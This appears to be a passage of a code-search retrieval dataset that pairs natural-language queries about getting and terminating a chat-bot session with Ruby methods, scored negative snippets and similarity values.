"0.6008286",
"0.5998312",
"0.5996609",
"0.5996609",
"0.5990464",
"0.5989481",
"0.5989106",
"0.5987604",
"0.5985834",
"0.5985654",
"0.59838974",
"0.5981706",
"0.59808064",
"0.5979561",
"0.5971697",
"0.59656185",
"0.59644157",
"0.59596443",
"0.5958647",
"0.5954509",
"0.5953095",
"0.5951643",
"0.5948616",
"0.59460944",
"0.59448105",
"0.59427726",
"0.5940735",
"0.59391993",
"0.5935296",
"0.59342456",
"0.5933994",
"0.5933994"
] |
0.7019801
|
0
|
get info about your current session
|
def session_info(m)
s = Justbot::Session.for(m)
if s.nil?
m.reply("You don't currently have a session.")
return
end
reply_in_pm(m) do |r|
r << "You have a session!"
r << " mask: #{s.mask}"
r << " expires: #{s.expiration}"
r << " is authed: #{s.authed?}"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_info\n @info ||= @instance.client.getSessionInfo(sessionID: @id)\n end",
"def C_GetSessionInfo()\n @pk.C_GetSessionInfo(@sess)\n end",
"def getSessionInfo(sessionID)\n call :getSessionInfo, :sessionID => sessionID\n end",
"def info()\n get(:session, {:method => \"user.getInfo\"})\n end",
"def get_connected_user_info\n session[:sos_note_usr_info]\n end",
"def current_user\n session[:name] #all i need here (looked at some other solutions to get this)\n end",
"def sess\n self.http_get(self.session_uri)#.tap{|t| STDERR.puts \"Trace: #{caller[1]}: returning #{t}\"}\n end",
"def get_session\n return Seasar::CGI::Session.get_session(@cgi)\n end",
"def session; @session; end",
"def session; @session; end",
"def session; @session; end",
"def session_report\n ts = Time.now\n now = ts.to_i\n session_info = Maglev::System.current_session_ids.map do |id|\n sess_desc = Maglev::System.description_of_session id\n sess_desc[0] = sess_desc[0].instance_variable_get(:@_st_userId) # UserProfile\n sess_desc[3] = '' if sess_desc[3] == 0 # Primitive?\n sess_desc[4] = format_secs(now - sess_desc[4]) # View Age\n sess_desc[6] = ['none', 'out', 'in'][sess_desc[6] + 1] # Transaction\n sess_desc[13] = format_secs(now - sess_desc[13]) # Quiet\n sess_desc[14] = format_secs(now - sess_desc[14]) # Age\n sess_desc\n # sess_cache_slot = Maglev::System.cache_slot_for_sessionid id\n end\n session_info\n end",
"def session_get\n nessus_rest_get(\"session\")\n end",
"def _session\n\t\t\tThread.current[SESSION]\n\t\tend",
"def session\n @context.session\n end",
"def current_user\n session[:name]\n end",
"def current_user\n session[:name]\n end",
"def current_user\n session[:name]\n end",
"def session ; request.session ; end",
"def session\n last_request.env[\"rack.session\"]\n end",
"def session() request.session end",
"def get_session( params )\n LastFM.get( \"auth.getSession\", params, :secure )\n end",
"def get_session\n return Seasar::Rack::Session.get_session(@env)\n end",
"def session\n Thread.current['clients_manager'].client('Website').session\n end",
"def session\n @request.session\n end",
"def hubssolib_current_session\n @hubssolib_current_session ||= hubssolib_get_session_data\n end",
"def session\n @req.session\n end",
"def session\n end",
"def inspect\n\t\t\"#<Session:#{self.type} #{self.tunnel_peer} #{self.info ? \"\\\"#{self.info.to_s}\\\"\" : nil}>\"\n\tend",
"def current_user\n session[:usr_id]\n end",
"def get_session(env, sid)\n raise '#get_session not implemented.'\n end",
"def session\n object.session\n end",
"def current_user\n session[:who_is_this]\n end",
"def session\n request.session\n end",
"def sso_logging_info\n { user_uuid: @current_user&.uuid,\n sso_cookie_contents: sso_cookie_content,\n request_host: request.host }\n end",
"def session\n\t\t\trequest.session\n\t\tend",
"def current_user_screen_name\n session[:user_info][\"nickname\"]\n end",
"def session\n @request.session\n end",
"def get_session(env, sid)\n raise '#get_session needs to be implemented.'\n end",
"def session\r\n @session ||= {}\r\n end",
"def session\n @request.env[\"rack.session\"]\n end",
"def current_user\n session[:username]\n end",
"def session; end",
"def session; end",
"def session; end",
"def session; end",
"def current_user\n session[:user]\n end",
"def get_session\n @authenticator.get_session\n end",
"def session\n @session ||= {}\n end",
"def session\n Session.instance\n end",
"def sessions\n @sessions\n end",
"def get_sinatra_session\n sinatra_session_name = env[\"rack.session.options\"][:key]||\"rack.session\"\n# debugger\n show_session(env_cookie_hash[\"rack.session\"]) if env_cookie_hash[\"rack.session\"]\n end",
"def session_id; end",
"def session_id; end",
"def session_id; end",
"def session\n Properties[self.class] ||= {}\n return Properties[self.class][:session] || 'shell'\n end",
"def session_status\n cm_status = status\n if cm_status\n cm_status.attributes[\"status\"]\n end\n end",
"def get_user_info\n response = HTTParty.get(\n \"https://api.github.com/user\",\n :headers => {\n \"Authorization\" => \"Bearer #{session[:access_token]}\",\n \"User-Agent\" => \"OAuth Test App\"\n }\n )\n session[:email] = response[\"email\"]\n session[:name] = response[\"name\"]\n session[:user_image] = response[\"avatar_url\"]\n session[:provider] = \"GitHub\"\n end",
"def session\n if current_subdomain\n request.session[current_subdomain_symbol] ||= {}\n request.session[current_subdomain_symbol] \n else\n request.session\n end\n end",
"def session\n self\n end",
"def get_session\n return @env['java.servlet_request'].session\n end",
"def session\n @session ||= options[:session] || {} \n end",
"def username\n \treturn session[:username]\n \tend",
"def find_session(env, sid); end",
"def current_user_session\n return @curent_user_session if defined?(@curent_user_session)\n @current_user_session = UserSession.find\n end",
"def session\n\t\t\t\t@session ||= response.session\n\t\t\tend",
"def retrieve_session\n request.method = :get\n request.uri = '_session'\n Couchdbtools.execute(request)\n end",
"def logged_in_user_id\n session[:user_id]\n end",
"def current_user_session\n @current_user_session ||= UserSession.find\n end",
"def current_user_session\n @current_user_session ||= UserSession.find\n end",
"def session\n @controller.session\n end",
"def get_session_variables_from_authenticated_system\n @return_to_query = session[:return_to_query] || params[:return_to_query]\n @return_to = session[:return_to] || params[:return_to]\n @previous_protocol = session[:previous_protocol] || params[:previous_protocol]\n session[:return_to_query] = session[:return_to] = session[:previous_protocol] = nil\n end",
"def current_session(env=Thread.current[:env])\n return nil unless env\n setup_env(env)\n key = session['user_credentials']\n if @sessions[key]\n @refresh_sessions[key] = true\n else\n @session_mutex.synchronize do\n unless @previous_sessions[key]\n oldkey = key\n s = find_session\n key = session['user_credentials']\n @previous_sessions[oldkey] = key\n @sessions[key] = s\n @refresh_sessions[key] = true\n Thread.new do\n sleep Config::PreviousSessionTimeout\n @previous_sessions.delete(oldkey)\n end\n Thread.new do\n while @refresh_sessions[key] do\n @refresh_sessions.delete(key)\n sleep Config::SessionTimeout\n end\n @sessions.delete(key)\n end\n params['_need_cookie_update'] = true if full_path == '/ajax/poll'\n else\n key = @previous_sessions[key]\n end\n end\n end\n @sessions[key]\n end",
"def retrieve_current_player\n session[:current_player]\n end",
"def print_session_statistics\n puts \"\"\n puts \"Session statistics:\"\n puts \" Distance traveled(km): #{format_stat(@session_travel_distance)}\"\n puts \" Missions aborted: #{format_stat(@missions_aborted)}\"\n puts \" Explosions: #{format_stat(@explosions)}\"\n puts \" Fuel burned(liters) #{format_stat(@session_fuel_burned)}\"\n puts \" Flight time(m): #{format_stat(@session_flight_time)}\"\n end",
"def sessions\n Thread.current[:sessions] ||= {}\n end",
"def current_user\n puts \"******* current_user *******\"\n if session[:user_id]\n @current_user = User.find(session[:user_id])\n else\n @current_user = nil\n end\n puts \"@current_user: #{@current_user.inspect}\"\n end",
"def load_session_info()\n\t\tbegin\n\t\t\t::Timeout.timeout(60) do\n\t\t\t \n #nothing\n \n end\n\t\trescue ::Interrupt\n\t\t\traise $!\n\t\trescue ::Exception => e\n\t\t\t# Log the error but otherwise ignore it so we don't kill the\n\t\t\t# session if reporting failed for some reason\n\t\t\telog(\"Error loading sysinfo: #{e.class}: #{e}\")\n\t\t\tdlog(\"Call stack:\\n#{e.backtrace.join(\"\\n\")}\")\n\t\tend\n\tend",
"def current_user_session\n\t\treturn @current_user_session if defined?(@current_user_session)\n\t\t@current_user_session = UserSession.find\n\tend",
"def current_user_session\n\t\treturn @current_user_session if defined?(@current_user_session)\n\t\t@current_user_session = UserSession.find\n\tend",
"def current_user\n if session[:user_id]\n puts \"session user_id #{session[:user_id]}\"\n User.find(session[:user_id])\n end\nend",
"def session\n raw_session[\"warden.user.#{scope}.session\"] ||= {}\n end",
"def current_id\n session[:user_id]\n end",
"def current_user\n\t\t@current_user ||= User.find(session[:user_id]) if session[:user_id]\n\t\tputs @current_user\t\n\tend",
"def current_user\n return session[:user]\n end",
"def session\n env[\"rack.session\"] || {}\n end",
"def _data\n @session[SESSION_KEY] || {}\n end",
"def current_user_session\n @current_user_session ||= UserSession.find\n end",
"def userid\n \treturn session[:userid]\n \tend",
"def web_session()\n get(:signed, {:method => \"auth.getWebSession\"})\n end",
"def session\n return nil unless session_id\n QuoVadis::Session.find_by id: session_id\n end",
"def session_to_s\n return '' if @session.nil?\n\n s = '{'\n [ 'auth', 'seed', 'ip', 'user', 'session_expires' ].each do |k|\n s += \"'#{k}':'#{@session[k]}', \"\n end\n s += '}'\n return s\n end",
"def show\n return unless restrict_to_hosts\n\n get_session_data(@session)\n end",
"def show\n @session_user = current_user\n end",
"def current_user_id\n session[:user_id]\n end",
"def current_user\n session[:currentuser].to_i\n end",
"def session\n if((current_subdomain rescue nil))\n request.session[current_subdomain_symbol] ||= {}\n request.session[current_subdomain_symbol]\n else\n request.session\n end\n end",
"def current_user_session\n return @current_user_session if defined?(@current_user_session)\n @current_user_session = UserSession.find\n end",
"def current_user_session\n return @current_user_session if defined?(@current_user_session)\n @current_user_session = UserSession.find\n end",
"def current_user_session\n return @current_user_session if defined?(@current_user_session)\n @current_user_session = UserSession.find\n end"
] |
[
"0.8278546",
"0.78261185",
"0.75928706",
"0.7559244",
"0.73744226",
"0.73529536",
"0.7248007",
"0.7152242",
"0.7139137",
"0.7139137",
"0.7139137",
"0.7138843",
"0.71327955",
"0.7052144",
"0.69449824",
"0.6943596",
"0.6943596",
"0.6875419",
"0.68527496",
"0.6851623",
"0.68446094",
"0.6819656",
"0.67998785",
"0.6773417",
"0.67466635",
"0.6742749",
"0.6739139",
"0.6735407",
"0.67316467",
"0.67216575",
"0.6705041",
"0.6691451",
"0.66897535",
"0.6688748",
"0.6672322",
"0.66657853",
"0.6653859",
"0.6643743",
"0.66368645",
"0.6633898",
"0.663135",
"0.6630451",
"0.66238475",
"0.66238475",
"0.66238475",
"0.66238475",
"0.66134787",
"0.65926564",
"0.6577959",
"0.6574173",
"0.6563934",
"0.6522964",
"0.6507883",
"0.6507883",
"0.6507883",
"0.65039456",
"0.64997447",
"0.64818746",
"0.6475546",
"0.64751464",
"0.64733666",
"0.6452321",
"0.64470655",
"0.64350295",
"0.6422829",
"0.64133143",
"0.641149",
"0.6411358",
"0.64108753",
"0.64108753",
"0.640698",
"0.6398859",
"0.639156",
"0.6390247",
"0.6380736",
"0.6375943",
"0.63751733",
"0.6373261",
"0.6368566",
"0.6368566",
"0.63657755",
"0.63656604",
"0.6364244",
"0.6352155",
"0.63448554",
"0.63439983",
"0.63438725",
"0.63305044",
"0.6327529",
"0.63271487",
"0.6320994",
"0.6302321",
"0.6300895",
"0.6287962",
"0.6287505",
"0.62843686",
"0.6278155",
"0.62756234",
"0.62756234",
"0.62756234"
] |
0.7457902
|
4
|
destroys the sending user's session
|
def session_terminate(m)
s = Justbot::Session.for(m)
if s.nil?
m.reply(NO_SESSION, true)
return
end
# run hooks on session termination
bot.plugins.each do |plugin|
if plugin.respond_to? :session_will_terminate
plugin.session_will_terminate(s)
end
end
s.end!
m.reply('session terminated.')
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @session[:user_id] = nil\n @current_user = nil\n end",
"def destroy\n session.delete(:user)\n end",
"def delete_session\n session[:userid] = nil\n session[:attributes] = nil\n end",
"def destroy_session(user)\n session[:user_id] = nil\n end",
"def destroy_session\n session[:who_is_this] = nil\n end",
"def destroy_session(user)\n session[:user_id] = nil\n end",
"def destroy_session(user)\n session[:user_id] = nil\n end",
"def destroy_session(user)\n session[:user_id] = nil\n end",
"def destroy_session(user)\n session[:user_id] = nil\n end",
"def destroy_session(user)\n session[:user_id] = nil\n end",
"def destroy\n # Remove the user id from the session\n @_current_user = session[:current_user_id] = nil\n # @_current_user = session[:email] = nil\n redirect_to root_url\n end",
"def signout\n session.delete(:user_id)\n @current_user = nil\n end",
"def abandon!\n @user = nil\n session.delete\n end",
"def abandon!\n @user = nil\n session.delete\n end",
"def destroy\n \t#end session and send to login page\n\n \t\tsession[:user_id] = nil\n \t\tredirect_to root_path\n\n end",
"def destroy\n session[:user_id] = nil\n redirect_to sessions_path\n end",
"def logout\n session[:user] = nil\n end",
"def kill_session\n session[:session] = false\n session[:sessionToken] = \"\"\n session[:sessionMember] = \"\"\n session[:sessionMV] = \"\"\n session[:sessionOffer] = \"\"\n end",
"def logout\n @session[:user] = nil\n end",
"def destroy\n @session.clear\n end",
"def destroy\n\t\tsession.delete(:user_id)\n\t\tredirect_to login_path\n\tend",
"def destroy\n session[:user_id] = nil\n redirect_to :back\n end",
"def log_out\n session.delete(:user_id)\n session.delete(:user_name)\n session.delete(:user_email)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id)\n session.delete(:user_type)\n session.delete(:user_email)\n @current_user = nil\n end",
"def destroy\n \tsession[:user_id] = nil\n session[:user_name] = nil\n \tredirect_to '/login'\n end",
"def signout\n session.delete(:user_id)\n @current_user = nil\n end",
"def destroy\n session[:user_id] = nil\n @curr_user = nil\n redirect_to :log_in, :notice => \"Logged out\"\n end",
"def destroy\n session[:user_id] = nil\n redirect_to root_path\n end",
"def destroy\n session[:user_id] = nil\n redirect_to root_path\n end",
"def log_out\n session.delete(:user_id)\n session.delete(:destination)\n @current_user = nil\n @current_dest = nil\n end",
"def destroy\n @current_user = nil\n\n # Remove the hip_session id, since that kind of goes along\n # with login. Yeah, this code is far away from where hip_session\n # gets created making for confusion, sorry.\n #session.delete(:hip_session_id)\n # actually, destroy the whole damn session, why not, we're redirecting\n # them elsewhere anyway.\n reset_session\n\n # Remove shib cookies to log out of local Shib Service Provider.\n # But this doesn't work anyway, not sure why.\n #cookies.keys.find_all {|k| k =~ /^_shibsession_/ || k =~ /^_shibstate_/}.each { |cookie| cookies.delete(cookie) }\n\n redirect_to \"https://login.johnshopkins.edu/cgi-bin/logoff.pl\"\n\n end",
"def destroy\n session[:user_id] = nil\n redirect_to welcome_path\n end",
"def destroy\n\t\t# reset_session will kill the existing session\n\t\treset_session\n\t\tredirect_to '/login'\n\tend",
"def sign_out\n session[:user_id] = nil \n session.delete(:user)\n end",
"def logout_user\n session[:user_id] = nil\n end",
"def destroy\n\t\tsession[:current_user_id] = nil\n \t\tredirect_to '/login'\n\tend",
"def destroy\n # Remove the user id from the session\n session.clear\n redirect_to root_url\n end",
"def destroy\n session[:user_id] = nil\n redirect_to new_session_path, notice: 'You have been logged out of Unify.'\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def sign_out\n session.delete(:user_id)\n @current_user = nil\nend",
"def destroy\n session[:user_id] = nil\n redirect_to root_path()\n end",
"def log_me_out\n session['user'] = nil\n end",
"def destroy \n\t\tsession[:user_id] = nil\n\t\tredirect_to root_path\n\tend",
"def log_out\n session.delete(:user_id)\n @current_user = nil\nend",
"def destroy\n session[:user_id] = nil\n redirect_to '/login'\n end",
"def destroy\n session[:user_id] = nil\n redirect_to '/login'\n end",
"def destroy\n session[:user_id] = nil\n redirect_to '/login'\n end",
"def destroy\n session.delete :user_id\n redirect_to root_path\n end",
"def destroy\n session[:user_id] = nil\n redirect_to(root_path)\n end",
"def destroy\n\t\tsession[:user_id]=nil\n\t\tredirect_to root_path\n\tend",
"def destroy\n @user_session = UserSession.find()\n begin\n @user_session.destroy\n \n # Log the user out of the forums also\n cookies[\"Vanilla\"] = {:value => \"\", :domain => \".worlize.com\"}\n cookies[\"Vanilla-Volatile\"] = {:value => \"\", :domain => \".worlize.com\"}\n session.delete(:signed_request)\n rescue\n end\n\n respond_to do |format|\n format.html { redirect_to(root_url) }\n format.json { render :json => { :success => true } }\n end\n end",
"def logout\n\t\tsession[:user_id] = nil\n\tend",
"def abandon!\n @user = nil\n session.clear\n end",
"def destroy\n session[:user_id] = nil\n redirect_to root_url, :notice => \"Logged out!\"\n end",
"def signout\n session.clear\n end",
"def log_out\n session.delete(:user_id)\n @current_user = nil \n end",
"def destroy\n session[:user_id] = nil\n redirect_to root_url\n end",
"def destroy\n session[:user_id] = nil\n redirect_to root_path\n end",
"def destroy\n session[:user_id] = nil\n redirect_to root_path\n end",
"def destroy\n session[:user_id] = nil\n redirect_to root_path\n end",
"def destroy\n session[:user_id] = nil\n redirect_to root_path\n end",
"def destroy\n session[:user_id] = nil\n redirect_to root_path\n end",
"def destroy\n session[:user_id] = nil\n redirect_to root_path\n end",
"def kill_session\n @authenticator.kill_session\n @session = ''\n end",
"def log_out\n \tsession.delete(:user_id)\n \t@current_user = nil\n end",
"def destroy\n\t\t session[:user_id] = nil\n render nothing: true, status: 200\n\t end",
"def sign_out\n session.delete(:user_id)\n end",
"def destroy\n\t\tsession[:user_id] = nil\n \tredirect_to root_url\n\tend",
"def destroy\n \tsession[:user_id]= nil\n \tredirect_to root_path\n end",
"def log_out\n session.delete(:user_id)\n @current_user=nil\n end",
"def sign_out\n session[:user_id] = nil\n end",
"def destroy\n session[:user_id] = nil\n redirect_to root_path, notice: I18n.t(:session_logged_out)\n end",
"def destroy\n session.delete :user_id\n redirect_to '/'\n end",
"def logout\n session.delete :user_id\n end",
"def clear_session\n\t\tsession[:email] = nil \n\t\tsession[:player_id] = nil\n\t\tsession[:admin] = nil\n\t\tsession[:login_time] = nil \n\tend",
"def destroy\n session[:user] = @current_user = nil\n redirect_to :controller => :sessions, :action => :new\n end",
"def logout\n session.delete(:user_id)\n end",
"def destroy\n session.delete(:user_id) if session[:user_id]\n redirect_to new_session_path\n end",
"def log_out\n session[:user_id] = nil\n end",
"def logout\n session.delete(:user_id)\n @current_user = nil\n end",
"def log_out\n session.delete(:user_id) #remove the user id from the browser cache\n @current_user = nil\n end",
"def logout\n session[:user_id] = nil\n end",
"def logout\n session[:user_id] = nil\n end",
"def destroy\n @user_session = @current_user_session\n if @user_session\n @user_session.destroy\n end\n redirect_to login_path\n end",
"def log_out\n\t\tsession[:user_id] = nil\n\tend",
"def log_out\n session.delete(:user_id)\n @current_user = nil\n\n end",
"def log_out\n\t\tsession.delete(:user_id)\n\t\t@current_user= nil\n\tend",
"def destroy\n \tsession[:user_id] = nil #logout standard user\n session[:owner_id] = nil #logout owner\n \tredirect_to login_url\n end",
"def destroy\n session[:user_id] = nil\n redirect_to sessions_path, flash: { info: 'Logged Out' }\n end",
"def destroy\n\t\t#logout method is defined in helper file\n\t\tsession[:user_id] = nil\n\t\tredirect_to root_path\n\tend",
"def sign_out\n session.delete(:user_id)\n @current_user = nil\n end",
"def destroy\n \tsession[:user_id] = nil\n @current_user = nil\n \tredirect_to root_url, notice: \"You are now logged out.\"\n end",
"def log_out\n session.delete(:email)\n @current_user = nil\n end",
"def destroy\n session[:user_id] = nil\n redirect_to root_path\n \n end",
"def destroy\n session[:user_id] = nil\n redirect_to \"/\"\n end",
"def log_out\n forget(current_user)\n session.delete(:user_id)\n # sessions.delete(:team_id)\n @current_user = nil\n # @current_team = nil\n\n end",
"def destroy\n # Remove the user id from the session\n @_current_user = session[:current_user_id] = nil\n redirect_to root_url\n end",
"def destroy\n session[:user_id] = nil\n redirect_to root_url, :notice => \"Logged out\"\n end",
"def logout\n @current_user = nil\n session.delete(:user_id)\n end",
"def sign_out\n forget current_user\n session[:user_id] = nil\n end",
"def log_out\n\t\tsession.delete(:user_id)\n\t\t@current_user = nil\n\tend"
] |
[
"0.8185062",
"0.80972105",
"0.8066367",
"0.7992436",
"0.79642934",
"0.7957519",
"0.7957519",
"0.7957519",
"0.7932099",
"0.7932099",
"0.7887956",
"0.7876934",
"0.7848229",
"0.7848229",
"0.7847589",
"0.7825452",
"0.78239244",
"0.7823747",
"0.778829",
"0.7785274",
"0.7772825",
"0.77698743",
"0.7769612",
"0.77669156",
"0.77662474",
"0.7762705",
"0.77550703",
"0.77401125",
"0.77401125",
"0.77398765",
"0.77366245",
"0.7735048",
"0.77303475",
"0.77270496",
"0.7714637",
"0.7711352",
"0.7710465",
"0.77056676",
"0.76960313",
"0.7692862",
"0.7679093",
"0.76776457",
"0.76739943",
"0.7673219",
"0.76705515",
"0.76705515",
"0.76705515",
"0.766755",
"0.76664567",
"0.7664999",
"0.76638",
"0.7663579",
"0.76628685",
"0.76591927",
"0.76567864",
"0.7652977",
"0.76520646",
"0.76490307",
"0.76490307",
"0.76490307",
"0.76490307",
"0.76490307",
"0.76490307",
"0.7645932",
"0.76449543",
"0.76404244",
"0.76403177",
"0.76364064",
"0.7634242",
"0.76210076",
"0.76183605",
"0.76153636",
"0.76152027",
"0.7612441",
"0.7611708",
"0.7609804",
"0.76088005",
"0.7602255",
"0.7600332",
"0.7600305",
"0.75976396",
"0.75894505",
"0.75894505",
"0.7584437",
"0.7583897",
"0.7583305",
"0.75830984",
"0.7579454",
"0.75759983",
"0.75734365",
"0.757283",
"0.7572194",
"0.7572045",
"0.7567814",
"0.7567066",
"0.7566038",
"0.7560908",
"0.75601697",
"0.75580233",
"0.75561714",
"0.7553886"
] |
0.0
|
-1
|
start a session and set up a timer to stop it, too
|
def start_session(s)
# callback to remove the session from play
end_session_timer = Timer(
Justbot::Session::DURATION,
:stop_automatically => false,
:shots => 1,
:threaded => true
) do
s.stop!
end
end_session_timer.start
# start the session
synchronize(:session) do
s.storage[self] = {:timer => end_session_timer}
s.start
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def start_timer\n Thread.new do\n loop {\n sleep @session_ttl\n reap_expired_sessions\n } \n end \n end",
"def start_session\n generate_token(:token)\n setup_session\n update_last_session\n end",
"def start_session\n session_tracker.start_session\n end",
"def turn_on\n self.class._start_session\n end",
"def start_session(endpoint); end",
"def start_session\n self.update_attributes(session_expires_in: 30.days.from_now)\n end",
"def start_session\n return unless Bugsnag.configuration.enable_sessions && Bugsnag.configuration.should_notify_release_stage?\n\n start_delivery_thread\n start_time = Time.now().utc().strftime('%Y-%m-%dT%H:%M:00')\n new_session = {\n id: SecureRandom.uuid,\n startedAt: start_time,\n paused?: false,\n events: {\n handled: 0,\n unhandled: 0\n }\n }\n SessionTracker.set_current_session(new_session)\n add_session(start_time)\n end",
"def set_session_time\n time_now = Time.zone.now\n self.session_start ||= time_now\n self.session_end ||= time_now\n end",
"def session_control\n case\n when options[:session_start], options[:start_session]\n 'start'\n when options[:session_end], options[:end_session], options[:stop_session]\n 'end'\n end\n end",
"def start_session\n print_session_menu\n\n while (@state.state == 1)\n @state.print_state\n @state.prompt_input\n @state.update_state\n end\n\n\n if (@state.state == 0) \n @state.handle_loss\n elsif (@state.state == 2)\n @state.handle_win\n @win += 1\n else \n puts \"Should not be here, ERROR\"\n end\n end",
"def start_session\n return Seasar::CGI::Session.start_session(@cgi)\n end",
"def init_session\n if session\n if session.updated_at < Time.now - ::Gricer.config.max_session_duration\n self.session = Session.create previous_session: session, ip_address: @ip_address, agent: agent, requested_locale: @request_locale\n else\n self.session.touch\n end\n else\n self.is_first_in_session = true\n self.session = Session.create ip_address: @ip_address, agent: agent, requested_locale: @request_locale\n self.session.touch\n end\n \n session\n end",
"def open_session; end",
"def initialize(session)\n @session = session\n on_start\n true\n end",
"def start_timer\n @timer ||= detach_timer\n end",
"def session_begin(cred, mode)\n #This is a stub, used for indexing\n end",
"def start_timer\n @start_time = Time.now\n end",
"def resume_session\n session_tracker.resume_session\n end",
"def end_session\n update_session(Time.now)\n end",
"def set_session_timeout(seconds)\n @session_timeout = seconds\n end",
"def begin_session\n begin\n true if login\n rescue\n false\n end\n end",
"def set_session\n \n end",
"def kill_session\n session[:session] = false\n session[:sessionToken] = \"\"\n session[:sessionMember] = \"\"\n session[:sessionMV] = \"\"\n session[:sessionOffer] = \"\"\n end",
"def start_session\n return Seasar::Rack::Session.start_session(@env)\n end",
"def start(secret, user_id='', type=0, partner_id=KalturaNotImplemented, expiry=86400, privileges=KalturaNotImplemented)\n\t\t\tkparams = {}\n\t\t\t# Remember to provide the correct secret according to the sessionType you want\n\t\t\tclient.add_param(kparams, 'secret', secret);\n\t\t\tclient.add_param(kparams, 'userId', user_id);\n\t\t\t# Regular session or Admin session\n\t\t\tclient.add_param(kparams, 'type', type);\n\t\t\tclient.add_param(kparams, 'partnerId', partner_id);\n\t\t\t# KS expiry time in seconds\n\t\t\tclient.add_param(kparams, 'expiry', expiry);\n\t\t\tclient.add_param(kparams, 'privileges', privileges);\n\t\t\tclient.queue_service_action_call('session', 'start', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend",
"def start_session(user)\n session[:user] = User.find(user).id\n end",
"def pause_session\n session_tracker.pause_session\n end",
"def start!\n raise \"This timer cannot be started as it is already running!\" if @running\n @running = true\n @shutting_down = false\n @thread = Thread.new do\n begin\n if @one_shot\n sleep @timeout\n @block.call\n else\n loop do\n break if @shutting_down\n sleep @timeout\n @block.call\n end\n end\n rescue\n\n end\n end\n end",
"def active_support_timers_start(env); end",
"def start_timer\n @timer ||= EventMachine::PeriodicTimer.new(1) { cleanup }\n end",
"def start()\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n Native.Timer_start(@handle.ptr)\n end",
"def start_session(savedUserId)\n \tsession[:user] = savedUserId\n \trender:nothing => true\n end",
"def restart; stop; start; end",
"def start_session(nick)\n usr = User.first(:nickname=>params[:nickname])\n p User.all\n if usr != nil\n sid = gen_sessionid\n\n #associate nick with sid & IP & communication password\n $sessions[nick] = {:ip=>@env['REMOTE_ADDR'], :sid=> sid, :lastrequest=> Time.now.to_i}\n\n #return JSON with sessionid\n return {:sid => sid}\n end\n return 'error'\nend",
"def session_timeout\n #return if Rails.env.test?\n #check session last_seen\n if session[:last_seen] < SESSION_TIMEOUT_MINUTES.minutes.ago\n reset_session\n else\n session[:last_seen] = Time.now.utc\n end unless session[:last_seen].nil?\n #check when session created\n if Session.first.created_at < SESSION_WIPEOUT_HOURS.hours.ago\n Session.sweep\n end unless Session.first.nil?\n end",
"def start_session(cgi)\n session = ::CGI::Session.new(cgi, @@options.merge({\"new_session\" => true}))\n return session\n end",
"def stop_session\n @office = params[:id] ? Office.find(params[:id]) : Office.new\n tok_session = OpentokSession.find(:first, :conditions => {:office_id => @office.id})\n if tok_session.is_live\n tok_session.is_live = false\n tok_session.save\n end\n render :nothing => true\n end",
"def start_session(socket)\n Thread.new do\n @connection_tracker.track(socket) do\n @tracked.enq :go\n command = @end_session.deq\n if command == :close\n socket.stub(:getpeername).and_raise(RuntimeError, \"Socket closed\")\n end\n end\n @session_ended.enq :go\n end\n @tracked.deq\n end",
"def initialize_session\n response = @savon.call :initialize_session\n # Without ActiveSupport\n # 1.hour.from_now is 3600 seconds from Time.now\n @session_expiry_time = Time.now + 3600\n @session_id = response.body[:initialize_session_response][:initialize_session_result]\n end",
"def start_session(players)\r\n @session = Game.new\r\n @session.add_players(players)\r\n @session.set_current_player\r\n @session.play_game\r\n\r\n restart_game?(players) # if game is over, next restart is called, which - if affirmative - calls start_session again\r\n end",
"def stop_session\n @lesson = Lesson.find(params[:lesson_id])\n @event = params[:id] ? Event.find(params[:id]) : Event.new\n tok_session = OpentokSession.find(:first, :conditions => {:event_id => @event.id})\n if tok_session.is_live\n tok_session.is_live = false\n tok_session.save\n end\n render :nothing => true\n end",
"def onStartTimer(context, seconds)\n\t\t# transit to Running state\n\t\tcontext.stateTransition(RunningState.new(seconds))\n\tend",
"def start_time\n session[:start_time] ||= (Time.now).to_s\nend",
"def turn_off\n self.class._end_session\n end",
"def restart\n stop\n sleep 2\n start\n end",
"def start_session(id, token_hash, user_id=KalturaNotImplemented, type=KalturaNotImplemented, expiry=KalturaNotImplemented, udid=KalturaNotImplemented)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'id', id)\n\t\t\tclient.add_param(kparams, 'tokenHash', token_hash)\n\t\t\tclient.add_param(kparams, 'userId', user_id)\n\t\t\tclient.add_param(kparams, 'type', type)\n\t\t\tclient.add_param(kparams, 'expiry', expiry)\n\t\t\tclient.add_param(kparams, 'udid', udid)\n\t\t\tclient.queue_service_action_call('apptoken', 'startSession', 'KalturaSessionInfo', kparams)\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil\n\t\t\tend\n\t\t\treturn client.do_queue()\n\t\tend",
"def start\n destroy_session_customer\n end",
"def start_timer\n if @restart_vote && @state != :terminating\n @restart_vote_timer ||= EM::Timer.new(RESTART_VOTE_DELAY) { vote_to_restart(timer_trigger = true) }\n end\n true\n end",
"def initialize_session\n # Save the thread incase we need to forcibly kill it\n @puppet_thread = Thread.current\n @puppet_thread_id = @puppet_thread.object_id.to_i\n end",
"def start_timer\n view.start_timer self\n end",
"def open_session\n if @session == nil || @session.closed?\n @status = :normal\n @session = Showoff::Setup.prepare(@provided_key)\n @channel = @session.open_channel do |channel|\n channel.exec(\"api -v #{Showoff::VERSION}\") do |ch, success|\n unless success\n puts \"\\nShowoff is currently experiencing difficulties. If this persists, let us know at support@showoff.io\"\n Process.exit\n end\n @dormant = true\n ch.on_eof do |ch|\n if @status == :executing\n puts \"\\nShowoff was unable to process your request. If this persists, let us know at support@showoff.io\"\n Process.exit\n elsif @status != :normal && @status != :closing\n puts \"\\nShowoff has encountered an error and needs to close. If this persists, let us know at support@showoff.io\"\n Process.exit\n else\n print \"\\n\"\n Process.exit\n end\n end\n end\n\n channel.on_close do |channel|\n print \"\\n\"\n Process.exit\n end\n end\n end\n end",
